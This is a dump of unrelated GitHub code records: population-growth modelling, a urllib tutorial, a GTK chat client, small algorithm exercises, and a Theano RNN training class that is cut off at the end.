PopulationGrowth(object):\n def __init__(self, ratedict, default_rate=DEFAULT_RATE):\n \"\"\"Initialize Population growth with dictionary containing rates over given time \n spans, per country. \n\n :param ratedict:\n dictionary like: {841: {'end': [1955, 1960, 1965],\n 'rate': [0.01, 0.02, 0.03],\n 'start': [1950, 1955, 1960]},\n 124: {'end': [1955, 1960, 1965],\n 'rate': [0.02, 0.03, 0.04],\n 'start': [1950, 1955, 1960]}}\n Where 841 and 842 in this case are country codes (US and Canada), and the three \"columns\" for each \n country are the year start of each time interval, the year end of each time interval, and the growth \n rates for those time intervals.\n :param default_rate:\n Value to be used for growth rate when input country codes are not found in ratedict.\n \"\"\"\n # check the fields in the ratedict\n for key, value in ratedict.items():\n if 'start' not in value or 'end' not in value or 'rate' not in value:\n raise PagerException(\n 'All country rate dictionaries must contain keys \"start\",\"end\",\"rate\"')\n if not (len(value['start']) == len(value['end']) == len(value['rate'])):\n raise PagerException(\n 'Length of start/end year arrays must match length of rate arrays.')\n self._dataframe = pd.DataFrame(ratedict)\n self._default = default_rate\n\n @classmethod\n def fromDefault(cls):\n homedir = os.path.dirname(os.path.abspath(\n __file__)) # where is this module?\n excelfile = os.path.join(\n homedir, '..', 'data', 'WPP2015_POP_F02_POPULATION_GROWTH_RATE.xls')\n return cls.fromUNSpreadsheet(excelfile)\n\n @classmethod\n def fromUNSpreadsheet(cls, excelfile, default_rate=DEFAULT_RATE):\n \"\"\"Instantiate population growth rates from UN global spreadsheet.\n http://esa.un.org/unpd/wpp/Download/Standard/Population/\n\n :param excelfile:\n Path to Excel file containing UN population growth rate data per country.\n :param default_rate:\n Value to be used for growth rate when input country codes are not found in ratedict.\n :returns:\n PopulationGrowth instance.\n \"\"\"\n re_year = '[0-9]*'\n df = pd.read_excel(excelfile, header=16)\n ratedict = {}\n starts = []\n ends = []\n for col in df.columns:\n matches = re.findall(re_year, col)\n if len(matches) and len(matches[0]):\n starts.append(int(matches[0]))\n ends.append(int(matches[2]))\n\n ccode_idx = df.columns.get_loc('Country code')\n uscode = 840\n usrates = None\n country = Country()\n for idx, row in df.iterrows():\n key = row['Country code']\n rates = row.iloc[ccode_idx + 1:].values / 100.0\n if key == uscode:\n usrates = rates.copy()\n if country.getCountry(key) is None:\n continue\n ratedict[key] = {'start': starts[:], 'end': ends[:], 'rate': rates}\n\n # we have three non-standard \"country\" codes for California, eastern US, and western US.\n ratedict[902] = {'start': starts[:], 'end': ends[:], 'rate': usrates}\n ratedict[903] = {'start': starts[:], 'end': ends[:], 'rate': usrates}\n ratedict[904] = {'start': starts[:], 'end': ends[:], 'rate': usrates}\n\n return cls(ratedict, default_rate=default_rate)\n\n def getRate(self, ccode, year):\n \"\"\"Return population growth rate(s) for a given country code and year.\n\n :param ccode:\n Numeric country code.\n :param year:\n Integer year to be used to find growth rate (will be between start and end years,\n or before first start year or after last end year).\n :returns:\n Scalar growth rate.\n \"\"\"\n ccode = int(ccode)\n if ccode not in self._dataframe.columns:\n return self._default\n starts = np.array(self._dataframe[ccode]['start'])\n ends = np.array(self._dataframe[ccode]['end'])\n rates = np.array(self._dataframe[ccode]['rate'])\n if year is None:\n return dict(list(zip(starts, rates)))\n if year < starts.min():\n rate = rates[0]\n elif year > ends.max():\n rate = rates[-1]\n else:\n idx = (np.abs(year - ends)).argmin()\n rate = rates[idx]\n return rate\n\n def getRates(self, ccode):\n \"\"\"Return population growth rates for a given country code.\n\n :param ccode:\n Numeric country code.\n :param year:\n Integer year to be used to find growth rate (will be between start and end years,\n or before first start year or after last end year).\n :returns:\n Tuple of two lists of (start_years,rates).\n \"\"\"\n if ccode not in self._dataframe.columns:\n raise PagerException(\n 'Country %s not found in PopulationGrowth data structure.' % ccode)\n starts = np.array(self._dataframe[ccode]['start'])\n rates = np.array(self._dataframe[ccode]['rate'])\n return (starts, rates)\n\n def adjustPopulation(self, population, ccode, tpop, tevent):\n \"\"\"Adjust population based on growth rates.\n\n :param population:\n Number of people.\n :param ccode:\n Numeric country code.\n :param tpop:\n Year of population data collection.\n :param tevent:\n Year to which population data should be adjusted from tpop.\n :returns:\n Population adjusted for growth rates in years between tpop and tevent. \n \"\"\"\n if tpop == tevent:\n return population\n if tpop < tevent:\n interval = 1\n else:\n interval = -1\n newpop = population\n for startpop in np.arange(tpop, tevent, interval):\n endpop = startpop + interval\n rate = self.getRate(ccode, startpop)\n newpop = adjust_pop(newpop, startpop, endpop, rate)\n\n return newpop\n","repo_name":"mhearne-usgs/pager","sub_path":"losspager/models/growth.py","file_name":"growth.py","file_ext":"py","file_size_in_byte":7160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"} +{"seq_id":"30124623447","text":"# While we can manually send and receive data over HTTP using the socket library,\n# there is a much simpler way to perform this common task in Python by using the\n# urllib library.\n\n# Using urllib, you can treat a web page much like a file. You simply indicate\n# which web page you would like to retrieve and urllib handles all of the HTTP\n# protocol and header details. The following is equivalent to 12.2:\n\nimport urllib.request\n\nfhand = urllib.request.urlopen('http://data.pr4e.org/romeo.txt')\nfor line in fhand:\n print(line.decode().strip())\n\n# As an example, we can write a program to retrieve the data for romeo.txt and\n# compute the frequency of each word in the file as follows:\n\nfileOpen = urllib.request.urlopen('http://data.pr4e.org/romeo.txt')\n\ncounts = dict()\nfor line in fileOpen:\n words = line.decode().split()\n for word in words:\n counts[word] = counts.get(word, 0) + 1\nprint(counts)\n\n# Refer to urllib documentation for more functionality:\n# https://docs.python.org/3/library/urllib.html","repo_name":"kylev114/PY4E","sub_path":"Chapter 12 Network Programs/12.4_urllibLibrary.py","file_name":"12.4_urllibLibrary.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"72101227768","text":"from gi.overrides import GLib\n\nimport src.globals\nfrom src.api.api import send_p2p_message, send_p2g_message, get_group_name, get_group_member_num, get_contact_list, \\\n is_contact_group, get_nickname_by_id, get_p2p_messages_after_time, get_p2g_messages_after_time\n\nfrom src.utils import get_cached_user_id, append_cached_group_list, is_id_in_group_cache, \\\n append_to_cached_contact_list, get_cached_contact_list, get_cached_selected_contact_id, get_text_buffer_cache\nfrom src.utils.common_utils import write_log\nfrom src.utils.message_utils import *\n\n\ndef send_p2p_message_worker(receiver_id, content):\n send_p2p_message(receiver_id, content)\n\n\ndef send_group_message_worker(group_id, content):\n send_p2g_message(group_id, content)\n\n\ndef init_local_storage():\n contact_id_list = get_contact_list(get_cached_user_id())\n write_log(\"contact_list: \" + str(contact_id_list))\n for contact_id in contact_id_list:\n is_group_id = is_contact_group(contact_id)\n if is_group_id:\n write_log(\"group_id: \" + str(contact_id))\n append_cached_group_list(contact_id)\n for contact_id in contact_id_list:\n local_latest_message_time = get_local_latest_message_time(contact_id)\n if not is_id_in_group_cache(contact_id):\n p2p_messages_after_time = get_p2p_messages_after_time(contact_id, local_latest_message_time)\n for message in p2p_messages_after_time:\n append_message_storage(contact_id, False, message[\"content\"], message[\"create_time\"])\n latest_message = get_local_latest_message(contact_id)\n if latest_message is not None:\n local_latest_message_time = get_local_latest_message_time(contact_id)\n else:\n latest_message = {'message_content': \"\", 'is_sender': False, 'sent_time': int(round(time.time()*1000))}\n local_latest_message_time = latest_message['sent_time']\n nickname = get_nickname_by_id(contact_id)\n append_to_cached_contact_list(contact_id, nickname, latest_message['message_content'], local_latest_message_time)\n else:\n p2g_message_after_time = get_p2g_messages_after_time(contact_id, local_latest_message_time)\n for message in p2g_message_after_time:\n append_group_message_storage(contact_id, False, message[\"content\"], message[\"create_time\"], message[\"sender_name\"])\n latest_message = get_local_latest_message(contact_id)\n if latest_message is not None:\n local_latest_message_time = get_local_latest_message_time(contact_id)\n else:\n latest_message = {'message_content': \"\", 'is_sender': False, 'sent_time': int(round(time.time()*1000))}\n local_latest_message_time = latest_message['sent_time']\n group_name = get_group_name(contact_id)\n append_to_cached_contact_list(contact_id, group_name, latest_message['message_content'], local_latest_message_time)\n write_log(\"拉取消息成功 return\")\n\n\ndef init_chat_window(chat_window):\n write_log(\"开始初始化聊天窗口\")\n \"\"\"\n chat窗口的初始化工作\n 1.读取cache里的联系人列表\n 2.读取cache里的消息记录\n 3.生成联系人ContactItem和对应聊天记录列表的映射关系\n 4.将联系人列表和聊天记录列表添加到chat窗口的对应容器中\n \"\"\"\n contact_list = get_cached_contact_list()\n \"\"\"从本地cache中取出所有的本地联系人列表\"\"\"\n for contact in contact_list:\n is_selected = False\n contact_nickname = contact['nickname']\n contact_id = contact['contact_id']\n contact_sent_time = contact['sent_time']\n contact_last_message = contact['last_message']\n message_list = get_stored_messages(contact_id)\n\n \"\"\"如果用户上一次使用过程中选中的是该联系人，则在打开chat窗口时，将该联系人的聊天记录列表显示出来，并将字体small化，以凸显选中\"\"\"\n if get_cached_selected_contact_id() == contact_id:\n is_selected = True\n \"\"\"将本地消息记录列表填入聊天记录列表容器中\"\"\"\n if is_id_in_group_cache(contact_id):\n for message in message_list:\n chat_window.insert_group_message(message['message_content'], message['is_sender'], message['sender_name'])\n group_name = get_group_name(contact_id)\n member_num = get_group_member_num(contact_id)\n chat_window.message_header_bar.set_title(group_name + \" (\" + str(member_num) + \")\")\n else:\n for message in message_list:\n chat_window.insert_message(message[\"message_content\"], message[\"is_sender\"])\n \"\"\"将联系人昵称填入Header Bar里\"\"\"\n chat_window.message_header_bar.set_title(contact_nickname)\n\n \"\"\"读入上次退出程序，text buffer中的内容\"\"\"\n text = get_text_buffer_cache(contact_id)\n chat_window.text_box.get_buffer().set_text(text)\n chat_window.insert_contact(contact_nickname, contact_last_message, contact_sent_time, contact_id, is_selected)\n write_log(\"拉取消息成功,show窗口\")\n\n\ndef __insert_message_from_contact(chat_window, contact_id, sent_time, message_content):\n \"\"\"\n 本函数用于接收到消息后，将消息插入到聊天记录json中\n :param chat_window: Gtk.Window\n :param contact_id: 向当前用户发消息的联系人\n :param sent_time: 消息发送的时间戳,13位毫秒级UNIX时间戳\n :param message_content: 消息内容\n \"\"\"\n append_message_storage(contact_id, False, message_content, sent_time)\n is_selected = False\n if src.globals.LAST_SELECTED_CONTACT.contact_id == contact_id:\n is_selected = True\n GLib.idle_add(chat_window.insert_message, message_content, False)\n GLib.idle_add(src.globals.LAST_SELECTED_CONTACT.update_contact, message_content, sent_time, is_selected)\n chat_window.scroll_flag = not chat_window.scroll_flag\n\n\ndef __insert_message_from_group(chat_window, group_id, sender_id, sender_name, sent_time, message_content):\n \"\"\"\n 本函数用于接收到消息后，将消息插入到聊天记录json中\n :param chat_window: Gtk.Window\n :param group_id: 向当前用户发消息的群组\n :param sender_id: 消息发送者\n :param sender_name: 消息发送者昵称\n :param sent_time: 消息发送的时间戳,13位毫秒级UNIX时间戳\n :param message_content: 消息内容\n \"\"\"\n GLib.idle_add()\n print(\"insert message from group\")\n append_group_message_storage(group_id, False, message_content, sent_time, sender_name)\n write_log(\"appended to cache\")\n is_selected = False\n if src.globals.LAST_SELECTED_CONTACT.contact_id == group_id:\n is_selected = True\n GLib.idle_add(chat_window.insert_group_message, message_content, False, sender_name)\n GLib.idle_add(src.globals.LAST_SELECTED_CONTACT.update_contact, message_content, sent_time, is_selected)\n chat_window.scroll_flag = not chat_window.scroll_flag\n\n\ndef parse_p2p_msg_api_result(chat_window, msg_list):\n write_log(\"parse_p2p_msg_api_result\"+str(msg_list))\n for message in msg_list:\n __insert_message_from_contact(chat_window,\n message[\"senderID\"],\n message[\"create_time\"],\n message[\"content\"])\n\n\ndef parse_p2g_msg_api_result(chat_window, msg_list):\n write_log(\"parse_p2g_msg_api_result\")\n write_log(str(isinstance(msg_list, list)))\n for message in msg_list:\n __insert_message_from_group(chat_window,\n message[\"groupID\"],\n message[\"senderID\"],\n message[\"sender_name\"],\n message[\"create_time\"],\n message[\"content\"])\n","repo_name":"xiaoheng86/avo-chat-client","sub_path":"src/controllers/chat_controller.py","file_name":"chat_controller.py","file_ext":"py","file_size_in_byte":8077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27444089510","text":"from collections import deque\n\ndq = deque()\ndq.append(0)\ndq.append(1)\ndq.append(2)\ndq.appendleft(-1)\ndq.appendleft(-2)\n\nfor i in dq:\n print(i, end=\" \")\nprint()\n\ndq.pop()\nfor i in dq:\n print(i, end=\" \")\nprint()\n\ndq.popleft()\nfor i in dq:\n print(i, end=\" \")","repo_name":"rkskek1226/Algorithm","sub_path":"Data_Structure/Linear_DS/DoubleEndedQueue.py","file_name":"DoubleEndedQueue.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"35347522062","text":"from unittest import TestCase\n\nfrom IntersectionOfTwoLinkedLists import IntersectionOfTwoLinkedLists, ListNode\n\n\nclass TestIntersectionOfTwoLinkedLists(TestCase):\n def test_getIntersectionNode(self):\n i = IntersectionOfTwoLinkedLists()\n\n self.assertIsNone(i.getIntersectionNode(None, None))\n\n node345 = ListNode(3)\n node345.next = ListNode(4)\n node345.next.next = ListNode(5)\n\n self.assertIsNone(i.getIntersectionNode(node345, ListNode(6)))\n\n node12345 = ListNode(1)\n node12345.next = ListNode(2)\n node12345.next.next = node345\n\n self.assertEqual(i.getIntersectionNode(node12345, node345), node345)\n","repo_name":"TonnyL/Windary","sub_path":"Python/IntersectionOfTwoLinkedListsTest.py","file_name":"IntersectionOfTwoLinkedListsTest.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":187,"dataset":"github-code","pt":"77"} +{"seq_id":"2506353047","text":"'''\n19943:图的拉普拉斯矩阵(matrix)\nhttp://cs101.openjudge.cn/practice/19943/\n\n'''\nnode, edge = [int(i) for i in input().split()]\nmatrix = []\nfor i in range(node):\n matrix.append([0] * node)\nfor fake_i in range(edge):\n i, j = [int(i) for i in input().split()]\n matrix[i][i] += 1\n matrix[j][j] += 1\n matrix[i][j] = -1\n matrix[j][i] = -1\n\nfor i in range(node):\n print(*matrix[i], sep=' ')","repo_name":"forxhunter/ComputingIntro","sub_path":"solutions/cs101_openjudge/19943.py","file_name":"19943.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"5545848540","text":"# Name of csv file for storing data\nCSV_FILE = \"phonebook.csv\"\n\n# Names of table columns\nHEADER_FIELDS = [\n \"Last name\",\n \"First Name\",\n \"Middle Name\",\n \"Company\",\n \"Phone (work)\",\n \"Phone (cell)\",\n]\n\n# Widths of colums (for print formating)\nTOTAL_WIDTH = 130\n\n# Minimum number of contacts to initiate paged output\nPAGED_OUT_THRESHOLD = 10\n","repo_name":"kgdpete2022/phonebook","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29333421819","text":"#Conversión de Decimal a Binario\n# Entrada\nnumero_decimal = float(input(\"Ingrese un numero: \"))\n\nnumero_binario = 0\nmultiplicador = 1\n\n# Procesamiento \nwhile numero_decimal != 0: # paso 3\n # pasos 1, 4 y 5 se multiplica el módulo por su multiplicador\n numero_binario = numero_binario + numero_decimal % 2 * multiplicador\n numero_decimal //= 2 # paso 1\n multiplicador *= 10 # paso 5\n\n# Salida\nprint(\"Resultado =\", numero_binario) ","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej4/hito1_ej4_128398e4fa0d6b009b3a8f8b495f8dc2.py","file_name":"hito1_ej4_128398e4fa0d6b009b3a8f8b495f8dc2.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"34499609805","text":"import pickle, time\nfrom sys import stdin, stdout, stderr\nfrom collections import OrderedDict\nimport numpy as np\nimport theano as th\nimport theano.tensor as T\n\n\nclass ModelParams:\n \"\"\"Base class for RNN variants.\n NOTE: Not intended to be instantiated!\n \"\"\"\n # Parameter matrix names and ordering\n # Defined by model subclass\n pnames = []\n\n def __init__(self, hyper, epoch=0, pos=0, pvalues=None):\n self.hyper = hyper\n self.epoch = epoch\n self.pos = pos\n\n if not pvalues:\n pvalues = self._build_p()\n\n # Initialize shared variables\n\n # Create parameter dicts\n # OrderedDict used to keep paramater access deterministic throughout\n self.params = OrderedDict()\n self.mparams = OrderedDict()\n\n # Load parameter matrices and create rmsprop caches\n for n in self.pnames:\n self.params[n] = th.shared(name=n, value=pvalues[n].astype(th.config.floatX))\n self.mparams['m'+n] = th.shared(name='m'+n, value=np.zeros_like(pvalues[n]).astype(th.config.floatX))\n\n # Build Theano generation functions\n self._built_g = False\n self._built_t = False\n self._build_g()\n\n # Model-specific definitions of parameters, forward propagation, regularization, state initialization\n def _build_p(self):\n pass\n def _forward_step(self, x_t, s_t):\n pass\n def _weight_cost(self, reg_lambda):\n pass\n def freshstate(self, batchsize):\n pass\n\n # Theano-generated model-dependent functions\n def gen_chars(self, *args, **kwargs):\n pass\n def gen_chars_max(self, *args, **kwargs):\n pass\n def train_step_bat(self, *args, **kwargs):\n pass\n def errs_bat(self, *args, **kwargs):\n pass\n def err_bat(self, *args, **kwargs):\n pass\n def grad_bat(self, *args, **kwargs):\n pass\n\n # Cross-model definitions of generation functions\n def _build_g(self):\n \"\"\"Build Theano graph and define generation functions.\"\"\"\n\n stdout.write(\"Compiling generation functions...\")\n stdout.flush()\n time1 = time.time()\n\n # Local binding for convenience\n forward_step = self._forward_step\n\n ### SEQUENCE GENERATION ###\n\n x_in = T.vector('x_in')\n x_seq = T.matrix('x_seq')\n s_in = T.matrix('s_in')\n k = T.iscalar('k')\n temperature = T.scalar('temperature')\n\n rng = T.shared_randomstreams.RandomStreams(seed=(int(time.time()) % 1000000000))\n\n # Generate output sequence based on input single onehot and given state.\n\n # Main version:\n # Chooses output char by multinomial, and feeds back in for next step.\n # Scaled by temperature parameter before softmax (temperature 1.0 leaves\n # softmax output unchanged).\n # Returns matrix of one-hot vectors.\n def generate_step(x_t, s_t, temp):\n # Do next step\n o_t1, s_t1 = forward_step(x_t, s_t)\n\n # Get softmax\n o_ts = T.nnet.softmax(o_t1 / temp)[-1]\n\n # Randomly choose by multinomial distribution\n o_rand = rng.multinomial(n=1, pvals=o_ts, dtype=th.config.floatX)\n\n return o_rand, s_t1\n\n [o_chs, s_chs], genupdate = th.scan(\n fn=generate_step,\n outputs_info=[dict(initial=x_in), dict(initial=s_in)],\n non_sequences=temperature,\n n_steps=k)\n s_ch = s_chs[-1]\n\n self.gen_chars = th.function(\n inputs=[k, x_in, s_in, th.Param(temperature, default=0.5)], \n outputs=[o_chs, s_ch], \n name='gen_chars', \n updates=genupdate)\n\n # Alternate version:\n # As above, but chooses output char by argmax, and feeds back in.\n def generate_step_max(x_t, s_t):\n # Do next step\n o_t1, s_t1 = forward_step(x_t, s_t)\n\n # Get softmax\n o_ts = T.nnet.softmax(o_t1)[-1]\n\n # Now find selected index\n o_idx = T.argmax(o_ts)\n\n # Create one-hot\n o_ret = T.zeros_like(o_ts)\n o_ret = T.set_subtensor(o_ret[o_idx], 1.0)\n\n return o_ret, s_t1\n\n [o_chms, s_chms], _ = th.scan(\n fn=generate_step_max,\n outputs_info=[dict(initial=x_in), dict(initial=s_in)],\n n_steps=k)\n s_chm = s_chms[-1]\n\n self.gen_chars_max = th.function(\n inputs=[k, x_in, s_in], \n outputs=[o_chms, s_chm], \n name='gen_chars_max')\n\n # Sequence processing without generation:\n # Input is onehot-encoded string, output is sequence\n # of predictions and states at each step. Useful for\n # direct comparisons of output probabilities and \n # per-neuron activations\n def process_step(x_t, s_t, temp):\n # Do next step\n o_t1, s_t1 = forward_step(x_t, s_t)\n\n # Get softmax\n o_ts = T.nnet.softmax(o_t1 / temp)[-1]\n\n return o_ts, s_t1\n\n [o_seq, s_seq], _ = th.scan(\n fn=process_step,\n outputs_info=[None, dict(initial=s_in)],\n sequences=x_seq,\n non_sequences=temperature)\n\n self.seq_process = th.function(\n inputs=[x_seq, s_in, th.Param(temperature, default=0.5)],\n outputs=[o_seq, s_seq],\n name='seq_process')\n\n # And done!\n time2 = time.time()\n stdout.write(\"done!\\nCompilation took {0:.3f} s.\\n\\n\".format(time2 - time1))\n stdout.flush()\n self._built_g = True\n\n # Cross-model definitions of training functions\n def _build_t(self):\n \"\"\"Build Theano graph and define training functions.\"\"\"\n\n stdout.write(\"Compiling training functions...\")\n stdout.flush()\n time1 = time.time()\n\n # Local bindings for convenience\n forward_step = self._forward_step\n reg_cost = self._reg_cost\n\n # Scalar training parameters\n learnrate = T.scalar('learnrate')\n decayrate = T.scalar('decayrate')\n reg_lambda = T.scalar('reg_lambda')\n\n ### BATCH-SEQUENCE TRAINING ###\n\n # Batch inputs\n x_bat = T.tensor3('x_bat')\n y_bat = T.tensor3('y_bat')\n s_in_bat = T.tensor3('s_in_bat')\n\n # Step function\n def batch_step(x_t, y_t, s_t):\n o_t1, s_t = forward_step(x_t, s_t)\n # We can use the whole matrix from softmax for batches\n o_ts = T.nnet.softmax(o_t1)\n return o_ts, s_t\n\n [o_bat, s_seq_bat], _ = th.scan(\n batch_step, \n sequences=[x_bat, y_bat], \n truncate_gradient=self.hyper.bptt_truncate,\n outputs_info=[None, dict(initial=s_in_bat)])\n s_out_bat = s_seq_bat[-1]\n\n # We have to reshape the outputs, since Theano's categorical cross-entropy\n # function will only work with matrices or vectors, not tensor3s.\n # Thus we flatten along the sequence/batch axes, leaving the prediction\n # vectors as-is, compute cross-entropy, then reshape the errors back to \n # their proper dimensions.\n o_bat_flat = T.reshape(o_bat, (o_bat.shape[0] * o_bat.shape[1], -1))\n y_bat_flat = T.reshape(y_bat, (y_bat.shape[0] * y_bat.shape[1], -1))\n o_errs_bat = T.nnet.categorical_crossentropy(o_bat_flat, y_bat_flat)\n o_errs_res = T.reshape(o_errs_bat, (o_bat.shape[0], o_bat.shape[1]))\n\n # Next, we reshuffle to group sequences together instead\n # of batches, then sum the individual sequence errors.\n # (Hopefully Theano's auto-differentials follow this...)\n o_errs_shuf = o_errs_res.dimshuffle(1, 0)\n o_errs_sums = T.sum(o_errs_shuf, axis=1)\n # Regularization term (without averaging over samples (done outside Theano)).\n # reg_cost() defined per-model.\n reg_sum = reg_cost(reg_lambda)\n # Final cost (with regularization):\n cost_bat = T.sum(o_errs_sums) + reg_sum\n\n # Gradients\n dparams_bat = [ T.grad(cost_bat, p) for p in self.params.values() ]\n\n # rmsprop parameter updates\n uparams_bat = [ decayrate * mp + (1 - decayrate) * dp ** 2 for mp, dp in zip(self.mparams.values(), dparams_bat) ]\n\n # Gather updates\n train_updates_bat = OrderedDict()\n # Apply rmsprop updates to parameters\n for p, dp, up in zip(self.params.values(), dparams_bat, uparams_bat):\n train_updates_bat[p] = p - learnrate * dp / T.sqrt(up + 1e-6)\n # Update rmsprop caches\n for mp, up in zip(self.mparams.values(), uparams_bat):\n train_updates_bat[mp] = up\n\n # Batch training step function\n self.train_step_bat = th.function(\n inputs=[x_bat, y_bat, s_in_bat, \n th.Param(learnrate, default=0.001), \n th.Param(decayrate, default=0.95),\n th.Param(reg_lambda, default=0.0)],\n outputs=s_out_bat,\n updates=train_updates_bat,\n name='train_step_bat')\n\n ### ERROR CHECKING ###\n\n # Mostly for internal debug, returns unsummed error tensor and regularization cost\n self.errs_bat = th.function(\n inputs=[x_bat, y_bat, s_in_bat, th.Param(reg_lambda, default=0.0)], \n outputs=[o_errs_res, reg_sum, s_out_bat])\n\n # Full error sum, not averaged over sample size (done in outer non-Theano func)\n self.err_bat = th.function(\n inputs=[x_bat, y_bat, s_in_bat, th.Param(reg_lambda, default=0.0)], \n outputs=[cost_bat, s_out_bat])\n\n # Gradient calculations\n # We'll use this at some point for gradient checking\n self.grad_bat = th.function(\n inputs=[x_bat, y_bat, s_in_bat, th.Param(reg_lambda, default=0.0)], \n outputs=dparams_bat)\n\n ### Whew, I think we're done! ###\n time2 = time.time()\n stdout.write(\"done!\\nCompilation took {0:.3f} s.\\n\\n\".format(time2 - time1))\n stdout.flush()\n self._built_t = True\n\n @classmethod\n def loadfromfile(cls, infile):\n \"\"\"Load model parameters from file and rebuild model.\"\"\"\n\n with np.load(infile) as f:\n # Extract hyperparams and position\n p = f['p']\n hparams = pickle.loads(p.tobytes())\n hyper, epoch, pos = hparams['hyper'], hparams['epoch'], hparams['pos']\n\n # Load matrices\n pvalues = { n:f[n] for n in cls.pnames }\n\n # Create instance\n if isinstance(infile, str):\n stdout.write(\"Loaded model parameters from {0}\\n\".format(infile))\n stdout.write(\"Rebuilding model...\\n\")\n model = cls(hyper, epoch, pos, pvalues)\n\n return model\n\n def savetofile(self, outfile):\n \"\"\"Save model parameters to file.\"\"\"\n\n # Pickle non-matrix params into bytestring, then convert to numpy byte array\n pklbytes = pickle.dumps({'hyper': self.hyper, 'epoch': self.epoch, 'pos': self.pos}, \n protocol=pickle.HIGHEST_PROTOCOL)\n p = np.fromstring(pklbytes, dtype=np.uint8)\n\n # Gather parameter matrices and names\n pvalues = { n:m.get_value() for n, m in self.params.items() }\n\n # Now save params and matrices to file\n try:\n np.savez_compressed(outfile, p=p, **pvalues)\n except OSError as e:\n raise e\n else:\n if isinstance(outfile, str):\n stdout.write(\"Saved model parameters to {0}\\n\".format(outfile))\n\n def calc_loss(self, dataset, startpos=0, batchsize=16, num_examples=0, init_state=None):\n \"\"\"Calculates average cross-entropy loss over given batchsize.\"\"\"\n\n # First build training functions if not already done\n if not self._built_t:\n self._build_t()\n\n step_state = init_state if isinstance(init_state, np.ndarray) else self.freshstate(batchsize)\n\n if batchsize < 1:\n raise NotImplementedError(\"Single-sequence training is no longer available.\")\n\n data_len = dataset.batchepoch(batchsize)\n valid_len = num_examples if num_examples else data_len\n errors = np.zeros(valid_len)\n\n # Use explicit indexing instead of fancy slicing so we can \n # roll over properly\n data_pos = startpos\n for valid_pos in range(valid_len):\n xbatch, ybatch = dataset.batch(data_pos, batchsize)\n errors[valid_pos], step_state = self.err_bat(xbatch, ybatch, step_state, self.hyper.regcost)\n data_pos += 1\n # Advance position and overflow\n if data_pos >= data_len:\n data_pos = 0\n # Roll state vector on batch axis, to keep continuity\n step_state = np.roll(step_state, 1, axis=1)\n\n # Return total loss divided by number of characters in sample\n return np.sum(errors).item() / float(valid_len * batchsize * dataset.seq_len)\n\n def train(self, dataset, batchsize=16, num_examples=0, callback_every=1000, callback=None, init_state=None):\n \"\"\"Train model on given dataset for num_examples, with optional \n batch size.\n\n Optional callback function called after callback_every, with \n model and current state as arguments.\n\n If num_examples is 0, will train for full epoch.\n \"\"\"\n\n # Batched training only\n if batchsize < 1:\n raise NotImplementedError(\"Single-sequence training is no longer available.\")\n\n # First build training functions if not already done\n if not self._built_t:\n self._build_t()\n\n input_len = dataset.batchepoch(batchsize)\n train_len = num_examples if num_examples else input_len\n\n # Start with fresh state if none provided\n step_state = init_state if isinstance(init_state, np.ndarray) else self.freshstate(batchsize)\n\n # Debug\n # print(\"Training with batchsize {0:d}, state shape {1}\".format(batchsize, repr(step_state.shape)))\n\n # Use explicit indexing instead of fancy slicing so we can \n # keep track, both for model status and checkpoint purposes\n for train_pos in range(train_len):\n # Learning step\n xbatch, ybatch = dataset.batch(self.pos, batchsize)\n step_state = self.train_step_bat(xbatch, ybatch, step_state, \n self.hyper.learnrate, self.hyper.decay, self.hyper.regcost)\n\n # Advance position and overflow\n self.pos += 1\n if self.pos >= input_len:\n self.epoch += 1\n self.pos = 0\n # Roll state vector on batch axis, to keep continuity\n step_state = np.roll(step_state, 1, axis=1)\n\n # Optional callback\n if callback and callback_every and (train_pos + 1) % callback_every == 0:\n # Make sure to only pass a slice of state if batched\n callback(self, step_state[:,0,:])\n\n # Return final state\n return step_state\n\n def traintime(self, dataset, batchsize=16, pos=0, init_state=None):\n \"\"\"Prints time for batch training step (default size 16).\"\"\"\n\n # First build training functions if not already done\n if not self._built_t:\n self._build_t()\n\n # Fresh state\n start_state = init_state if isinstance(init_state, np.ndarray) else self.freshstate(batchsize)\n\n # Get slice\n xbatch, ybatch = dataset.batch(pos, batchsize)\n\n # Time training step\n time1 = time.time()\n self.train_step_bat(xbatch, ybatch, start_state, \n self.hyper.learnrate, self.hyper.decay, self.hyper.regcost)\n time2 = time.time()\n\n stdout.write(\n \"Time for SGD/RMS learning batch of {0:d} sequences, {1:d} chars each: {2:.4f} ms\\n\".format(\n xbatch.shape[1], xbatch.shape[0], (time2 - time1) * 1000.0))\n\n # Time loss calc step\n time1 = time.time()\n self.err_bat(xbatch, ybatch, start_state, self.hyper.regcost)\n time2 = time.time()\n\n stdout.write(\"Time for loss calculation step of {0:d} chars: {1:.4f} ms\\n\".format(\n xbatch.shape[0], (time2 - time1) * 1000.0))\n\n def genchars(self, charset, numchars, init_state=None, seedch=None, \n print_seed=True, use_max=False, temperature=0.5):\n \"\"\"Generate string of characters from current model parameters.\n\n If use_max is True, will select most-likely character at each step.\n\n Probabilities can be optionally scaled by temperature during generation\n if use_max=False. \n \"\"\"\n\n # Fresh state\n start_state = init_state if isinstance(init_state, np.ndarray) else self.freshstate(0)\n\n # Seed given or random character to start (as one-hot)\n if seedch:\n seedidx = charset.idxofchar(seedch)\n else:\n try:\n seedidx = charset.semirandomidx()\n except AttributeError:\n seedidx = charset.randomidx()\n\n seedvec = charset.onehot(seedidx)\n\n # Get generated sequence\n if use_max:\n idxs, end_state = self.gen_chars_max(numchars, seedvec, start_state)\n else:\n idxs, end_state = self.gen_chars(numchars, seedvec, start_state, temperature)\n\n # Convert to characters\n chars = [ charset.charatidx(np.argmax(i)) for i in idxs ]\n\n # Now construct string\n if 